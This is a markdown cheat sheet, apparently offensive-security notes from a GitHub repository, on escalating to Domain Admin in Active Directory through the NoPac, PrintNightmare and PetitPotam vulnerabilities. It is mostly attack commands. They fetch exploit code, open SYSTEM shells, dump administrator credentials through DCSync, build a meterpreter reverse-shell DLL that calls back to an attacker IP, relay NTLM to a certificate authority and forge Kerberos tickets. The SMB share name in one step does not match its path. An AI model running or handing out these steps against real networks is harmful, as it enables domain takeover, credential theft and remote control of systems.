Skip to content

Latest commit

 

History

History
58 lines (43 loc) · 3.53 KB

privilege-escalation-to-domain-admin-using-known-exploits.md

File metadata and controls

58 lines (43 loc) · 3.53 KB
Raw

Privilege Escalation to Domain Admin using Known Exploits

NoPac

  • NoPac is an intra-domain privilege escalation exploit that allows escalating privileges from any standard user to domain admin level access
  • This exploit path takes advantage of being able to change the SamAccountName of a computer account to that of a Domain Controller.
  • The flow of the attack is outlined here: SecureWorks Blog

Exploiting NoPac:

  1. Get the NoPac exploit: git clone https://github.com/Ridter/noPac.git
  2. Check if target is vulnerable: sudo python3 scanner.py domain.name/validuser:validpassword -dc-ip 172.16.5.5 -use-ldap
  3. Get a SYSTEM shell as the built-in administrator: sudo python3 noPac.py DOMAIN.NAME/validuser:validpassword -dc-ip 172.16.5.5 -dc-host DC-NAME -shell --impersonate administrator -use-ldap
  4. Perform DCSync against the built-in administrator: sudo python3 noPac.py DOMAIN.NAME/validuser:validpassword -dc-ip 172.16.5.5 -dc-host DC-NAME --impersonate administrator -use-ldap -dump -just-dc-user DOMAIN.NAME/administrator

PrintNightmare

  • Vulnerability found in the Print Spooler service that runs on all Windows operating systems that allows for privilege escalation and remote code execution.

Exploiting PrintNightmare:

  1. Get the exploit: git clone https://github.com/cube0x0/CVE-2021-1675.git

  2. Install cube0x0's version of impacket:

    pip3 uninstall impacket
git clone https://github.com/cube0x0/impacket
cd impacket
python3 ./setup.py install

  3. Check if the Windows target has MS-PAR & MSRPRN exposed:
    rpcdump.py @172.16.5.5 | egrep 'MS-RPRN|MS-PAR'

  4. Generate a DLL payload to be used by the exploit to gain a shell session:
    msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=local-ip LPORT=anyport -f dll > backupscript.dll

  5. Create an SMB server and host a shared folder (Data) at the location of the DLL payload that the exploit will attempt to download:
    sudo smbserver.py -smb2support Data /path/to/backupscript.dll

  6. Run the exploit:
    sudo python3 CVE-2021-1675.py domain.name/validusername:validpassword@DC-IP '\\attacker-ip\CompData\backupscript.dll'

PetitPotam

  • PetitPotam is an LSA spoofing vulnerability that allows forcing the domain controller to authenticate against another host using NTLM over port 445
  • This attack allows an unauthenticated user to take over the domain
  • More information about PetitPotam can be found here: DirkJanm Post

Exploiting PetitPotam:

  1. Start an NTLM relay: sudo ntlmrelayx.py -debug -smb2support --target http://DOMAIN/URL/to/Certificate/Authoirty/host --adcs --template DomainController Note: you can use certi to find the location of the CA
  2. Get Petit Potam: git clone https://github.com/topotam/PetitPotam.git
  3. Run Petit Potam. `python3 PetitPotam.py attacker-ip dc-ip
  4. If it worked, you will find the base64 encoded certificate for the domain controller on the NTLM relay shell
  5. Request a TGT for the domain controller using the certificate: python3 /PKINITtools/gettgtpkinit.py DOMAIN.NAME/DC-NAME\$ -pfx-base64 <base64 certificate> = dc01.ccache
  6. Set the KRB5CCNAME environment variable to the previous output file: export KRB5CCNAME=dc01.ccache
  7. Perform DCSync using (-k) the previous ccache file : secretsdump.py -just-dc-user DOMAIN.NAME/administrator -k -no-pass DC-NAME.DOMAIN.NAME